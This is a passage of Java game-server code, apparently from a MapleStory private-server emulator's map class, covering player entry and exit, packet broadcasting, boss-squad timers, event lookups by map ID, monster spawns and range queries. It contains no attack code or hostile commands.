react.setTimerActive(true);
break;
}
}
}
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.REACTOR).readLock().unlock();
}
}
public int getItemsSize() {
return mapobjects.get(MapleMapObjectType.ITEM).size();
}
public int getExtractorSize() {
return mapobjects.get(MapleMapObjectType.EXTRACTOR).size();
}
public int getMobsSize() {
return mapobjects.get(MapleMapObjectType.MONSTER).size();
}
public List<MapleMapItem> getAllItems() {
return getAllItemsThreadsafe();
}
public List<MapleMapItem> getAllItemsThreadsafe() {
ArrayList<MapleMapItem> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.ITEM).values()) {
ret.add((MapleMapItem) mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().unlock();
}
return ret;
}
public Point getPointOfItem(int itemid) {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.ITEM).values()) {
MapleMapItem mm = ((MapleMapItem) mmo);
if (mm.getItem() != null && mm.getItem().getItemId() == itemid) {
return mm.getPosition();
}
}
} finally {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().unlock();
}
return null;
}
public List<MapleMist> getAllMistsThreadsafe() {
ArrayList<MapleMist> ret = new ArrayList<>();
mapobjectlocks.get(MapleMapObjectType.MIST).readLock().lock();
try {
for (MapleMapObject mmo : mapobjects.get(MapleMapObjectType.MIST).values()) {
ret.add((MapleMist) mmo);
}
} finally {
mapobjectlocks.get(MapleMapObjectType.MIST).readLock().unlock();
}
return ret;
}
public final void returnEverLastItem(final MapleCharacter chr) {
for (final MapleMapObject o : getAllItemsThreadsafe()) {
final MapleMapItem item = ((MapleMapItem) o);
if (item.getOwner() == chr.getId()) {
item.setPickedUp(true);
broadcastMessage(CField.removeItemFromMap(item.getObjectId(), 2, chr.getId()), item.getTruePosition());
if (item.getMeso() > 0) {
chr.gainMeso(item.getMeso(), false);
} else {
MapleInventoryManipulator.addFromDrop(chr.getClient(), item.getItem(), false);
}
removeMapObject(item);
}
}
spawnRandDrop();
}
public final void talkMonster(final String msg, final int itemId, final int objectid) {
if (itemId > 0) {
startMapEffect(msg, itemId, false);
}
broadcastMessage(MobPacket.talkMonster(objectid, itemId, msg)); //5120035
broadcastMessage(MobPacket.removeTalkMonster(objectid));
}
public final void startMapEffect(final String msg, final int itemId) {
startMapEffect(msg, itemId, false);
}
public final void startMapEffect(final String msg, final int itemId, final boolean jukebox) {
if (mapEffect != null) {
return;
}
mapEffect = new MapleMapEffect(msg, itemId);
mapEffect.setJukebox(jukebox);
broadcastMessage(mapEffect.makeStartData());
MapTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
if (mapEffect != null) {
broadcastMessage(mapEffect.makeDestroyData());
mapEffect = null;
}
}
}, jukebox ? 300000 : 30000);
}
public final void startExtendedMapEffect(final String msg, final int itemId) {
broadcastMessage(CField.startMapEffect(msg, itemId, true));
MapTimer.getInstance().schedule(new Runnable() {
@Override
public void run() {
broadcastMessage(CField.removeMapEffect());
broadcastMessage(CField.startMapEffect(msg, itemId, false));
//dont remove mapeffect.
}
}, 60000);
}
public final void startSimpleMapEffect(final String msg, final int itemId) {
broadcastMessage(CField.startMapEffect(msg, itemId, true));
}
public final void startJukebox(final String msg, final int itemId) {
startMapEffect(msg, itemId, true);
}
public final void addPlayer(final MapleCharacter chr) {
// for (int i = 0; i < 50; i++) {
// System.out.println("new char on map");
// }
mapobjectlocks.get(MapleMapObjectType.PLAYER).writeLock().lock();
try {
mapobjects.get(MapleMapObjectType.PLAYER).put(chr.getObjectId(), chr);
} finally {
mapobjectlocks.get(MapleMapObjectType.PLAYER).writeLock().unlock();
}
charactersLock.writeLock().lock();
try {
characters.add(chr);
} finally {
charactersLock.writeLock().unlock();
}
chr.setChangeTime();
if (GameConstants.isTeamMap(mapid) && !chr.inPVP()) {
chr.setTeam(getAndSwitchTeam() ? 0 : 1);
}
final byte[] packet = CField.spawnPlayerMapobject(chr);
if (!chr.isHidden()) {
broadcastMessage(chr, packet, false);
if (chr.isIntern() && speedRunStart > 0) {
endSpeedRun();
broadcastMessage(CWvsContext.broadcastMsg(5, "The speed run has ended."));
}
broadcastMessage(chr, CField.getEffectSwitch(chr.getId(), chr.getEffectSwitch()), true);
} else {
broadcastGMMessage(chr, packet, false);
broadcastGMMessage(chr, CField.getEffectSwitch(chr.getId(), chr.getEffectSwitch()), true);
}
if (!chr.isClone()) {
if (!onFirstUserEnter.equals("")) {
if (getCharactersSize() == 1) {
Thread script = new Thread() {
@Override
public void run() {
MapScriptMethods.startScript_FirstUser(chr.getClient(), onFirstUserEnter);
}
};
script.start();
}
}
if (!onUserEnter.equals("")) {
Thread script = new Thread() {
@Override
public void run() {
MapScriptMethods.startScript_User(chr.getClient(), onUserEnter);
}
};
script.start();
}
sendObjectPlacement(chr);
GameConstants.achievementRatio(chr.getClient());
chr.getClient().getSession().write(packet);
//chr.getClient().getSession().write(CField.spawnFlags(nodes.getFlags()));
if (GameConstants.isTeamMap(mapid) && !chr.inPVP()) {
chr.getClient().getSession().write(CField.showEquipEffect(chr.getTeam()));
}
switch (mapid) {
case 809000101:
case 809000201:
chr.getClient().getSession().write(CField.showEquipEffect());
break;
case 689000000:
case 689000010:
chr.getClient().getSession().write(CField.getCaptureFlags(this));
break;
}
}
/*for (final MaplePet pet : chr.getPets()) {
if (pet.getSummoned()) {
broadcastMessage(chr, PetPacket.showPet(chr, pet, false, false), false);
}
}*/
for (final MaplePet pet : chr.getPets()) {
if (pet.getSummoned()) {
pet.setPos(chr.getTruePosition());
chr.getClient().getSession().write(PetPacket.updatePet(pet, chr.getInventory(MapleInventoryType.CASH).getItem((short) (byte) pet.getInventoryPosition()), false));
chr.getClient().getSession().write(PetPacket.showPet(chr, pet, false, false, true));
chr.getClient().getSession().write(PetPacket.showPetUpdate(chr, pet.getUniqueId(), (byte) (pet.getSummonedValue() - 1)));
}
}
if (chr.getSummonedFamiliar() != null) {
chr.spawnFamiliar(chr.getSummonedFamiliar(), true);
}
if (chr.getAndroid() != null) {
chr.getAndroid().setPos(chr.getPosition());
broadcastMessage(CField.spawnAndroid(chr, chr.getAndroid()));
}
if (chr.getParty() != null && !chr.isClone()) {
chr.silentPartyUpdate();
chr.getClient().getSession().write(PartyPacket.updateParty(chr.getClient().getChannel(), chr.getParty(), PartyOperation.SILENT_UPDATE, null));
}
boolean quickMove = false;
if (!chr.isInBlockedMap() && chr.getLevel() >= 10) {
List<QuickMoveNPC> qmn = new LinkedList();
for (QuickMove qm : QuickMove.values()) {
if (qm.getMap() == chr.getMapId()) {
long npcs = qm.getNPCFlag();
for (QuickMoveNPC npc : QuickMoveNPC.values()) {
if ((npcs & npc.getValue()) != 0 && npc.show()) {
qmn.add(npc);
}
}
quickMove = true;
break;
}
}
if (QuickMove.GLOBAL_NPC != 0 && !GameConstants.isBossMap(chr.getMapId()) && !GameConstants.isTutorialMap(chr.getMapId())) {
for (QuickMoveNPC npc : QuickMoveNPC.values()) {
if ((QuickMove.GLOBAL_NPC & npc.getValue()) != 0 && npc.show()) {
qmn.add(npc);
}
}
quickMove = true;
}
if (quickMove) {
chr.getClient().getSession().write(CField.getQuickMoveInfo(true, qmn));
}
}
if (!quickMove) {
chr.getClient().getSession().write(CField.getQuickMoveInfo(false, new LinkedList()));
}
if (getNPCById(9073000) != null && getId() == 931050410) {
chr.getClient().getSession().write(CField.NPCPacket.toggleNPCShow(getNPCById(9073000).getObjectId(), true));
}
if (MapleJob.is幻影俠盜(chr.getJob())) {
chr.getClient().getSession().write(PhantomPacket.updateCardStack(chr.getCardStack()));
}
if (!chr.isClone()) {
final List<MapleSummon> ss = chr.getSummonsReadLock();
try {
for (MapleSummon summon : ss) {
summon.setPosition(chr.getTruePosition());
chr.addVisibleMapObject(summon);
this.spawnSummon(summon);
}
} finally {
chr.unlockSummonsReadLock();
}
}
if (mapEffect != null) {
mapEffect.sendStartData(chr.getClient());
}
if (timeLimit > 0 && getForcedReturnMap() != null && !chr.isClone()) {
chr.startMapTimeLimitTask(timeLimit, getForcedReturnMap());
}
if (chr.getBuffedValue(MapleBuffStat.MONSTER_RIDING) != null && !MapleJob.is末日反抗軍(chr.getJob())) {
if (FieldLimitType.Mount.check(fieldLimit)) {
chr.cancelEffectFromBuffStat(MapleBuffStat.MONSTER_RIDING);
}
}
if (!chr.isClone()) {
if (chr.getEventInstance() != null && chr.getEventInstance().isTimerStarted() && !chr.isClone()) {
if (chr.inPVP()) {
chr.getClient().getSession().write(CField.getPVPClock(Integer.parseInt(chr.getEventInstance().getProperty("type")), (int) (chr.getEventInstance().getTimeLeft() / 1000)));
} else {
chr.getClient().getSession().write(CField.getClock((int) (chr.getEventInstance().getTimeLeft() / 1000)));
}
}
if (hasClock()) {
final Calendar cal = Calendar.getInstance();
chr.getClient().getSession().write((CField.getClockTime(cal.get(Calendar.HOUR_OF_DAY), cal.get(Calendar.MINUTE), cal.get(Calendar.SECOND))));
}
if (chr.getCarnivalParty() != null && chr.getEventInstance() != null) {
chr.getEventInstance().onMapLoad(chr);
}
MapleEvent.mapLoad(chr, channel);
if (getSquadBegin() != null && getSquadBegin().getTimeLeft() > 0 && getSquadBegin().getStatus() == 1) {
chr.getClient().getSession().write(CField.getClock((int) (getSquadBegin().getTimeLeft() / 1000)));
}
if (mapid / 1000 != 105100 && mapid / 100 != 8020003 && mapid / 100 != 8020008 && mapid != 271040100) { //no boss_balrog/2095/coreblaze/auf/cygnus. but coreblaze/auf/cygnus does AFTER
final MapleSquad sqd = getSquadByMap(); //for all squads
final EventManager em = getEMByMap();
if (!squadTimer && sqd != null && chr.getName().equals(sqd.getLeaderName()) && em != null && em.getProperty("leader") != null && em.getProperty("leader").equals("true") && checkStates) {
//leader? display
doShrine(false);
squadTimer = true;
}
}
if (getNumMonsters() > 0 && (mapid == 280030001 || mapid == 240060201 || mapid == 280030000 || mapid == 240060200 || mapid == 220080001 || mapid == 541020800 || mapid == 541010100)) {
String music = "Bgm09/TimeAttack";
switch (mapid) {
case 240060200:
case 240060201:
music = "Bgm14/HonTale";
break;
case 280030000:
case 280030001:
music = "Bgm06/FinalFight";
break;
}
chr.getClient().getSession().write(CField.musicChange(music));
//maybe timer too for zak/ht
}
for (final WeakReference<MapleCharacter> chrz : chr.getClones()) {
if (chrz.get() != null) {
chrz.get().setPosition(chr.getTruePosition());
chrz.get().setMap(this);
addPlayer(chrz.get());
}
}
if (mapid == 914000000 || mapid == 927000000) {
chr.getClient().getSession().write(CWvsContext.temporaryStats_Aran());
} else if (mapid == 105100300 && chr.getLevel() >= 91) {
chr.getClient().getSession().write(CWvsContext.temporaryStats_Balrog(chr));
} else if (mapid == 140090000 || mapid == 105100301 || mapid == 105100401 || mapid == 105100100) {
chr.getClient().getSession().write(CWvsContext.temporaryStats_Reset());
}
}
if (MapleJob.is龍魔導士(chr.getJob()) && chr.getJob() >= 2200) {
if (chr.getDragon() == null) {
chr.makeDragon();
} else {
chr.getDragon().setPosition(chr.getPosition());
}
if (chr.getDragon() != null) {
broadcastMessage(CField.spawnDragon(chr.getDragon()));
}
}
if (MapleJob.is陰陽師(chr.getJob())) {
if (chr.getHaku() == null && chr.getBuffedValue(MapleBuffStat.HAKU_REBORN) == null) {
chr.makeHaku();
} else {
chr.getHaku().setPosition(chr.getPosition());
}
if (chr.getHaku() != null) {
if (chr.getBuffSource(MapleBuffStat.HAKU_REBORN) > 0) {
chr.getHaku().sendStats();
chr.getMap().broadcastMessage(chr, CField.spawnHaku_change0(chr.getId()), true);
chr.getMap().broadcastMessage(chr, CField.spawnHaku_change1(chr.getHaku()), true);
chr.getMap().broadcastMessage(chr, CField.spawnHaku_bianshen(chr.getId(), chr.getHaku().getObjectId(), chr.getHaku().getStats()), true);
} else {
broadcastMessage(CField.spawnHaku(chr.getHaku()));
}
}
}
if (permanentWeather > 0) {
chr.getClient().getSession().write(CField.startMapEffect("", permanentWeather, false)); //snow, no msg
}
if (getPlatforms().size() > 0) {
chr.getClient().getSession().write(CField.getMovingPlatforms(this));
}
if (environment.size() > 0) {
chr.getClient().getSession().write(CField.getUpdateEnvironment(this));
}
//if (partyBonusRate > 0) {
// chr.dropMessage(-1, partyBonusRate + "% additional EXP will be applied per each party member here.");
// chr.dropMessage(-1, "You've entered the party play zone.");
//}
if (isTown()) {
chr.cancelEffectFromBuffStat(MapleBuffStat.RAINING_MINES);
}
if (!canSoar()) {
chr.cancelEffectFromBuffStat(MapleBuffStat.SOARING);
}
if (chr.getJob() < 3200 || chr.getJob() > 3212) {
//chr.cancelEffectFromBuffStat(MapleBuffStat.AURA);
}
chr.getClient().getSession().write(CWvsContext.showChronosphere(chr));
if (chr.getCustomBGState() == 1) {
chr.removeBGLayers();
}
}
public int getNumItems() {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().lock();
try {
return mapobjects.get(MapleMapObjectType.ITEM).size();
} finally {
mapobjectlocks.get(MapleMapObjectType.ITEM).readLock().unlock();
}
}
public int getNumMonsters() {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().lock();
try {
return mapobjects.get(MapleMapObjectType.MONSTER).size();
} finally {
mapobjectlocks.get(MapleMapObjectType.MONSTER).readLock().unlock();
}
}
public void doShrine(final boolean spawned) { //false = entering map, true = defeated
if (squadSchedule != null) {
cancelSquadSchedule(true);
}
final MapleSquad sqd = getSquadByMap();
if (sqd == null) {
return;
}
final int mode;//final int mode = (mapid == 280030000 ? 1 : (mapid == 280030001 ? 2 : (mapid == 240060200 || mapid == 240060201 ? 3 : 0)));
//chaos_horntail message for horntail too because it looks nicer
switch(mapid){ //根据地图判断出于什么boss模式
case 280030000:
mode = 1;
break;
case 280030100:
mode = 2;
break;
case 240060200:
mode = 3;
break;
case 240060201:
mode = 3;
break;
default:
mode = 0;
break;
}
final EventManager em = getEMByMap();
if (em != null && getCharactersSize() > 0) {
final String leaderName = sqd.getLeaderName();
final String state = em.getProperty("state");
final Runnable run;
MapleMap returnMapa = getForcedReturnMap();
if (returnMapa == null || returnMapa.getId() == mapid) {
returnMapa = getReturnMap();
}
if (mode == 1 || mode == 2) { //chaoszakum
broadcastMessage(CField.showChaosZakumShrine(spawned, 5));
} else if (mode == 3) { //ht/chaosht
broadcastMessage(CField.showChaosHorntailShrine(spawned, 5));
} else {
broadcastMessage(CField.showHorntailShrine(spawned, 5));
}
if (spawned) { //both of these together dont go well
broadcastMessage(CField.getClock(300)); //5 min
}
final MapleMap returnMapz = returnMapa;
if (!spawned) { //no monsters yet; inforce timer to spawn it quickly
final List<MapleMonster> monsterz = getAllMonstersThreadsafe();
final List<Integer> monsteridz = new ArrayList<>();
for (MapleMapObject m : monsterz) {
monsteridz.add(m.getObjectId());
}
run = new Runnable() {
@Override
public void run() {
final MapleSquad sqnow = MapleMap.this.getSquadByMap();
if (MapleMap.this.getCharactersSize() > 0 && MapleMap.this.getNumMonsters() == monsterz.size() && sqnow != null && sqnow.getStatus() == 2 && sqnow.getLeaderName().equals(leaderName) && MapleMap.this.getEMByMap().getProperty("state").equals(state)) {
boolean passed = monsterz.isEmpty();
for (MapleMapObject m : MapleMap.this.getAllMonstersThreadsafe()) {
for (int i : monsteridz) {
if (m.getObjectId() == i) {
passed = true;
break;
}
}
if (passed) {
break;
} //even one of the monsters is the same
}
if (passed) {
//are we still the same squad? are monsters still == 0?
byte[] packet;
if (mode == 1 || mode == 2) { //chaoszakum
packet = CField.showChaosZakumShrine(spawned, 0);
} else {
packet = CField.showHorntailShrine(spawned, 0); //chaoshorntail message is weird
}
for (MapleCharacter chr : MapleMap.this.getCharactersThreadsafe()) { //warp all in map
chr.getClient().getSession().write(packet);
chr.changeMap(returnMapz, returnMapz.getPortal(0)); //hopefully event will still take care of everything once warp out
}
checkStates("");
resetFully();
}
}
}
};
} else { //inforce timer to gtfo
run = new Runnable() {
@Override
public void run() {
MapleSquad sqnow = MapleMap.this.getSquadByMap();
//we dont need to stop clock here because they're getting warped out anyway
if (MapleMap.this.getCharactersSize() > 0 && sqnow != null && sqnow.getStatus() == 2 && sqnow.getLeaderName().equals(leaderName) && MapleMap.this.getEMByMap().getProperty("state").equals(state)) {
//are we still the same squad? monsters however don't count
byte[] packet;
if (mode == 1 || mode == 2) { //chaoszakum
packet = CField.showChaosZakumShrine(spawned, 0);
} else {
packet = CField.showHorntailShrine(spawned, 0); //chaoshorntail message is weird
}
for (MapleCharacter chr : MapleMap.this.getCharactersThreadsafe()) { //warp all in map
chr.getClient().getSession().write(packet);
chr.changeMap(returnMapz, returnMapz.getPortal(0)); //hopefully event will still take care of everything once warp out
}
checkStates("");
resetFully();
}
}
};
}
squadSchedule = MapTimer.getInstance().schedule(run, 300000); //5 mins
}
}
public final MapleSquad getSquadByMap() {
MapleSquadType zz = null;
switch (mapid) {
case 105100400:
case 105100300:
zz = MapleSquadType.bossbalrog;
break;
case 280030000:
zz = MapleSquadType.zak;
break;
case 280030001:
zz = MapleSquadType.chaoszak;
break;
case 240060200:
zz = MapleSquadType.horntail;
break;
case 240060201:
zz = MapleSquadType.chaosht;
break;
case 270050100:
zz = MapleSquadType.pinkbean;
break;
case 802000111:
zz = MapleSquadType.nmm_squad;
break;
case 802000211:
zz = MapleSquadType.vergamot;
break;
case 802000311:
zz = MapleSquadType.tokyo_2095;
break;
case 802000411:
zz = MapleSquadType.dunas;
break;
case 802000611:
zz = MapleSquadType.nibergen_squad;
break;
case 802000711:
zz = MapleSquadType.dunas2;
break;
case 802000801:
case 802000802:
case 802000803:
zz = MapleSquadType.core_blaze;
break;
case 802000821:
case 802000823:
zz = MapleSquadType.aufheben;
break;
case 211070100:
case 211070101:
case 211070110:
zz = MapleSquadType.vonleon;
break;
case 551030200:
zz = MapleSquadType.scartar;
break;
case 271040100:
zz = MapleSquadType.cygnus;
break;
case 262030300:
zz = MapleSquadType.hilla;
break;
case 262031300:
zz = MapleSquadType.darkhilla;
break;
case 272030400:
zz = MapleSquadType.arkarium;
break;
default:
return null;
}
return ChannelServer.getInstance(channel).getMapleSquad(zz);
}
public final MapleSquad getSquadBegin() {
if (squad != null) {
return ChannelServer.getInstance(channel).getMapleSquad(squad);
}
return null;
}
public final EventManager getEMByMap() {
String em;
switch (mapid) {
case 105100400:
em = "BossBalrog_EASY";
break;
case 105100300:
em = "BossBalrog_NORMAL";
break;
case 280030100:
em = "ZakumBattle";
break;
case 280030200:
em = "SimpleZakum";
break;
case 240060200:
em = "HorntailBattle";
break;
case 280030000:
em = "ChaosZakum";
break;
case 240060201:
em = "ChaosHorntail";
break;
case 270050100:
em = "PinkBeanBattle";
break;
case 802000111:
em = "NamelessMagicMonster";
break;
case 802000211:
em = "Vergamot";
break;
case 802000311:
em = "2095_tokyo";
break;
case 802000411:
em = "Dunas";
break;
case 802000611:
em = "Nibergen";
break;
case 802000711:
em = "Dunas2";
break;
case 802000801:
case 802000802:
case 802000803:
em = "CoreBlaze";
break;
case 802000821:
case 802000823:
em = "Aufhaven";
break;
case 211070100:
case 211070101:
case 211070110:
em = "VonLeonBattle";
break;
case 551030200:
em = "ScarTarBattle";
break;
case 271040100:
em = "CygnusBattle";
break;
case 262030300:
em = "HillaBattle";
break;
case 262031300:
em = "DarkHillaBattle";
break;
case 272020110:
case 272030400:
em = "ArkariumBattle";
break;
case 300030310:
em = "FairyBossBattle";
break;
case 105200310:
em = "BloodyBoss";
break;
case 105200710:
em = "BloodyJBoss";
break;
case 955000100:
case 955000200:
case 955000300:
em = "AswanOffSeason";
break;
//case 689010000:
// em = "PinkZakumEntrance";
// break;
//case 689013000:
// em = "PinkZakumFight";
// break;
default:
if (mapid >= 262020000 && mapid < 262023000) {
em = "Azwan";
break;
}
return null;
}
return ChannelServer.getInstance(channel).getEventSM().getEventManager(em);
}
public final void removePlayer(final MapleCharacter chr) {
//log.warn("[dc] [level2] Player {} leaves map {}", new Object[] { chr.getName(), mapid });
if (everlast) {
returnEverLastItem(chr);
}
charactersLock.writeLock().lock();
try {
characters.remove(chr);
} finally {
charactersLock.writeLock().unlock();
}
removeMapObject(chr);
broadcastMessage(CField.removePlayerFromMap(chr.getId()));
for (MapleMonster monster : chr.getControlledMonsters()) {
monster.setController(null);
monster.setControllerHasAggro(false);
monster.setControllerKnowsAboutAggro(false);
updateMonsterController(monster);
}
chr.checkFollow();
chr.removeExtractor();
if (chr.getSummonedFamiliar() != null) {
chr.removeVisibleFamiliar();
}
List<MapleSummon> toCancel = new ArrayList<>();
final List<MapleSummon> ss = chr.getSummonsReadLock();
try {
for (final MapleSummon summon : ss) {
broadcastMessage(SummonPacket.removeSummon(summon, true));
removeMapObject(summon);
if (summon.getMovementType() == SummonMovementType.STATIONARY || summon.getMovementType() == SummonMovementType.CIRCLE_STATIONARY || summon.getMovementType() == SummonMovementType.WALK_STATIONARY) {
toCancel.add(summon);
} else {
summon.setChangedMap(true);
}
}
} finally {
chr.unlockSummonsReadLock();
}
for (MapleSummon summon : toCancel) {
chr.removeSummon(summon);
chr.dispelSkill(summon.getSkill()); //remove the buff
}
if (!chr.isClone()) {
checkStates(chr.getName());
if (mapid == 109020001) {
chr.canTalk(true);
}
for (final WeakReference<MapleCharacter> chrz : chr.getClones()) {
if (chrz.get() != null) {
removePlayer(chrz.get());
}
}
chr.leaveMap(this);
}
}
public final void broadcastMessage(final byte[] packet) {
broadcastMessage(null, packet, Double.POSITIVE_INFINITY, null);
}
public final void broadcastMessage(final MapleCharacter source, final byte[] packet, final boolean repeatToSource) {
broadcastMessage(repeatToSource ? null : source, packet, Double.POSITIVE_INFINITY, source.getTruePosition());
}
/* public void broadcastMessage(MapleCharacter source, byte[] packet, boolean repeatToSource, boolean ranged) {
broadcastMessage(repeatToSource ? null : source, packet, ranged ? MapleCharacter.MAX_VIEW_RANGE_SQ : Double.POSITIVE_INFINITY, source.getPosition());
}*/
public final void broadcastMessage(final byte[] packet, final Point rangedFrom) {
broadcastMessage(null, packet, GameConstants.maxViewRangeSq(), rangedFrom);
}
public final void broadcastMessage(final MapleCharacter source, final byte[] packet, final Point rangedFrom) {
broadcastMessage(source, packet, GameConstants.maxViewRangeSq(), rangedFrom);
}
public void broadcastMessage(final MapleCharacter source, final byte[] packet, final double rangeSq, final Point rangedFrom) {
charactersLock.readLock().lock();
try {
for (MapleCharacter chr : characters) {
if (chr != source) {
if (rangeSq < Double.POSITIVE_INFINITY) {
if (rangedFrom.distanceSq(chr.getTruePosition()) <= rangeSq) {
chr.getClient().getSession().write(packet);
}
} else {
chr.getClient().getSession().write(packet);
}
}
}
} finally {
charactersLock.readLock().unlock();
}
}
private void sendObjectPlacement(final MapleCharacter c) {
if (c == null || c.isClone()) {
return;
}
for (final MapleMapObject o : getMapObjectsInRange(c.getTruePosition(), c.getRange(), GameConstants.rangedMapobjectTypes)) {
if (o.getType() == MapleMapObjectType.REACTOR) {
if (!((MapleReactor) o).isAlive()) {
continue;
}
}
o.sendSpawnData(c.getClient());
c.addVisibleMapObject(o);
}
}
public final List<MaplePortal> getPortalsInRange(final Point from, final double rangeSq) {
final List<MaplePortal> ret = new ArrayList<>();
for (MaplePortal type : portals.values()) {
if (from.distanceSq(type.getPosition()) <= rangeSq && type.getTargetMapId() != mapid && type.getTargetMapId() != 999999999) {
ret.add(type);
}
}
return ret;
}
public final List<MapleMapObject> getMapObjectsInRange(final Point from, final double rangeSq) {
final List<MapleMapObject> ret = new ArrayList<>();
for (MapleMapObjectType type : MapleMapObjectType.values()) {
mapobjectlocks.get(type).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(type).values().iterator();
while (itr.hasNext()) {
MapleMapObject mmo = itr.next();
if (from.distanceSq(mmo.getTruePosition()) <= rangeSq) {
ret.add(mmo);
}
}
} finally {
mapobjectlocks.get(type).readLock().unlock();
}
}
return ret;
}
public List<MapleMapObject> getItemsInRange(Point from, double rangeSq) {
return getMapObjectsInRange(from, rangeSq, Arrays.asList(MapleMapObjectType.ITEM));
}
public List<MapleMapObject> getMonstersInRange(Point from, double rangeSq) {
return getMapObjectsInRange(from, rangeSq, Arrays.asList(MapleMapObjectType.MONSTER));
}
public final List<MapleMapObject> getMapObjectsInRange(final Point from, final double rangeSq, final List<MapleMapObjectType> MapObject_types) {
final List<MapleMapObject> ret = new ArrayList<>();
for (MapleMapObjectType type : MapObject_types) {
mapobjectlocks.get(type).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(type).values().iterator();
while (itr.hasNext()) {
MapleMapObject mmo = itr.next();
if (from.distanceSq(mmo.getTruePosition()) <= rangeSq) {
ret.add(mmo);
}
}
} finally {
mapobjectlocks.get(type).readLock().unlock();
}
}
return ret;
}
public final List<MapleMapObject> getMapObjectsInRect(final Rectangle box, final List<MapleMapObjectType> MapObject_types) {
final List<MapleMapObject> ret = new ArrayList<>();
for (MapleMapObjectType type : MapObject_types) {
mapobjectlocks.get(type).readLock().lock();
try {
Iterator<MapleMapObject> itr = mapobjects.get(type).values().iterator();
while (itr.hasNext()) {
MapleMapObject mmo = itr.next();
if (box.contains(mmo.getTruePosition())) {
ret.add(mmo);
}
}
} finally {
mapobjectlocks.get(type).readLock().unlock();
}
}
return ret;
}
public final List<MapleCharacter> getCharactersIntersect(final Rectangle box) {
final List<MapleCharacter> ret = new ArrayList<>();
charactersLock.readLock().lock();
try {
for (MapleCharacter chr : characters) {
if (chr.getBounds().intersects(box)) {
ret.add(chr);
}
}
} finally {
charactersLock.readLock().unlock();
}
return ret;
}
public final List<MapleCharacter> getPlayersInRectAndInList(final Rectangle box, final List<MapleCharacter> chrList) {
final List<MapleCharacter> character = new LinkedList<>();
charactersLock.readLock().lock();
try {
final Iterator<MapleCharacter> ltr = characters.iterator();
MapleCharacter a;
while (ltr.hasNext()) {
a = ltr.next();
if (chrList.contains(a) && box.contains(a.getTruePosition())) {
character.add(a);
}
}
} finally {
charactersLock.readLock().unlock();
}
return character;
}
public final void addPortal(final MaplePortal myPortal) {
portals.put(myPortal.getId(), myPortal);
}
public final MaplePortal getPortal(final String portalname) {
for (final MaplePortal port : portals.values()) {
if (port.getName().equals(portalname)) {
return port;
}
}
return null;
}
public final MaplePortal getPortal(final int portalid) {
return portals.get(portalid);
}
public final void resetPortals() {
for (final MaplePortal port : portals.values()) {
port.setPortalState(true);
}
}
public final void setFootholds(final MapleFootholdTree footholds) {
this.footholds = footholds;
}
public final MapleFootholdTree getFootholds() {
return footholds;
}
public final int getNumSpawnPoints() {
return monsterSpawn.size();
}
public final void loadMonsterRate(final boolean first) {
final int spawnSize = monsterSpawn.size();
if (spawnSize >= 20 || partyBonusRate > 0) {
maxRegularSpawn = Math.round(spawnSize / monsterRate);
} else {
maxRegularSpawn = (int) Math.ceil(spawnSize * monsterRate);
}
if (fixedMob > 0) {
maxRegularSpawn = fixedMob;
} else if (maxRegularSpawn <= 2) {
maxRegularSpawn = 2;
} else if (maxRegularSpawn > spawnSize) {
maxRegularSpawn = Math.max(10, spawnSize);
}
Collection<Spawns> newSpawn = new LinkedList<>();
Collection<Spawns> newBossSpawn = new LinkedList<>();
for (final Spawns s : monsterSpawn) {
if (s.getCarnivalTeam() >= 2) {
continue; // Remove carnival spawned mobs
}
if (s.getMonster().isBoss()) {
newBossSpawn.add(s);
} else {
newSpawn.add(s);
}
}
monsterSpawn.clear();
monsterSpawn.addAll(newBossSpawn);
monsterSpawn.addAll(newSpawn);
if (first && spawnSize > 0) {
lastSpawnTime = System.currentTimeMillis();
if (GameConstants.isForceRespawn(mapid)) {
createMobInterval = 15000;
}
respawn(false); // this should do the trick, we don't need to wait upon entering map
}
}
public final SpawnPoint addMonsterSpawn(final MapleMonster monster, final int mobTime, final byte carnivalTeam, final String msg) {
final Point newpos = calcPointBelow(monster.getPosition());
newpos.y -= 1;
final SpawnPoint sp = new SpawnPoint(monster, newpos, mobTime, carnivalTeam, msg);
if (carnivalTeam > -1) {
monsterSpawn.add(0, sp); //at the beginning
} else {
monsterSpawn.add(sp);
}
return sp;
}
public final void addAreaMonsterSpawn(final MapleMonster monster, Point pos1, Point pos2, Point pos3, final int mobTime, final String msg, final boolean shouldSpawn) {
pos1 = calcPointBelow(pos1);
pos2 = calcPointBelow(pos2);
pos3 = calcPointBelow(pos3);
if (pos1 != null) {
pos1.y -= 1;
}
if (pos2 != null) {
pos2.y -= 1;
}
if (pos3 != null) {
pos3.y -= 1;
}
if (pos1 == null && pos2 == null && pos3 == null) {
System.out.println("WARNING: mapid " + mapid + ", monster " + monster.getId() + " could not be spawned.");
return;
} else if (pos1 != null) {
if (pos2 == null) {
pos2 = new Point(pos1);
}
if (pos3 == null) {
pos3 = new Point(pos1);
}
} else if (pos2 != null) {
if (pos1 == null) {
pos1 = new Point(pos2);
}
if (pos3 == null) {
pos3 = new Point(pos2);
}
} else if (pos3 != null) {
if (pos1 == null) {
pos1 = new Point(pos3);
}
if (pos2 == null) {
pos2 = new Point(pos3);
}
}
monsterSpawn.add(new SpawnPointAreaBoss(monster, pos1, pos2, pos3, mobTime, msg, shouldSpawn));
}
public final List<MapleCharacter> getCharacters() {
return getCharactersThreadsafe();
}
public final List<MapleCharacter> getCharactersThreadsafe() {
final List<MapleCharacter> chars = new ArrayList<>();
charactersLock.readLock().lock();
try {
for (MapleCharacter mc : characters) {
chars.add(mc);
}
} finally {
charactersLock.readLock().unlock();
}
return chars;
}
public final MapleCharacter getCharacterByName(final String id) {
charactersLock.readLock().lock();
try {
for (MapleCharacter mc : characters) {
if (mc.getName().equalsIgnoreCase(id)) {
return mc;
}
}
} finally {
charactersLock.readLock().unlock();
}
return null;
}
public final MapleCharacter getCharacterById_InMap(final int id) {
